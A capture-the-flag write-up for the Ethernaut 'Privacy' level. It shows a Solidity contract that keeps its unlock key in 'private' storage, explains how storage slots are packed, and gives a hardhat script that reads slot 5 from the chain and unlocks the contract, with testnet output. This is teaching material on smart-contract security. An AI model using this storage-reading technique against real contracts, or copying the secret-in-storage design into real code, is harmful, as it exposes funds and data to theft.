Ethernaut #12 Privacy
Privacy
Challenge
The creator of this contract was careful enough to protect the sensitive areas of its storage.
Unlock this contract to beat the level.
Things that might help:
- Understanding how storage works
- Understanding how parameter parsing works
- Understanding how casting works
Tips:
- Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
Background
This challegne is very similar to the Valut
challenge. Private variables are not accessible by smart contracts, however, since the blockchain is public, anyone can check the value directly from the blockchain and use it. The only extra dificulty is to find the slot in use which will depend on the data types and how the final casting actually works.
We should keep in mind that solidity will place things in the order they appear. If multiple things fit in a single slot then they will be merged together. This is because storage is very costly on the blockchain so its more efficient to spend some more type unpacking and repacking that using more storage.
Attack
Somehow access the private data[2]
array from the public blockchain and use it to call the unlock
function.
- Determin at what slot offset the
data
array is placed - Access the private
data[2]
value from the blockchain - Cast the value to
bytes16
to obtain thekey
- Submit the
key
using tounlock
function to unlock the vault
privacy-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
privacyAddress = "0x7A3Bf7ea0d04150EA922e60eBB31ADD5A5bda357";
contract = await ethers.getContractAt("Privacy", privacyAddress);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
console.log("Level address: " + contract.address)
console.log("Vault locked : " + await contract.locked())
// get private key value from storage
paddedSlot = ethers.utils.hexZeroPad(5, 32);
data_2 = await ethers.provider.getStorageAt(contract.address, paddedSlot);
key = ethers.utils.hexDataSlice(data_2, 0, 16)
console.log(key)
// submit key
tx = await contract.connect(account).unlock(key)
receipt = await tx.wait()
console.log("Vault locked : " + await contract.locked())
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
bash$ npx hardhat run scripts/privacy-solve.js --network rinkeby
Level address: 0x7A3Bf7ea0d04150EA922e60eBB31ADD5A5bda357
Vault locked : true
0x234731fcb29d9babc1557784fc558a0b
Vault locked : false
Success Message
Nothing in the ethereum blockchain is private. The keyword private is merely an artificial construct of the Solidity language. Web3’s getStorageAt(...)
can be used to read anything from storage. It can be tricky to read what you want though, since several optimization rules and techniques are used to compact the storage as much as possible.
It can’t get much more complicated than what was exposed in this level. For more, check out this excellent article by “Darius”: How to read Ethereum contract storage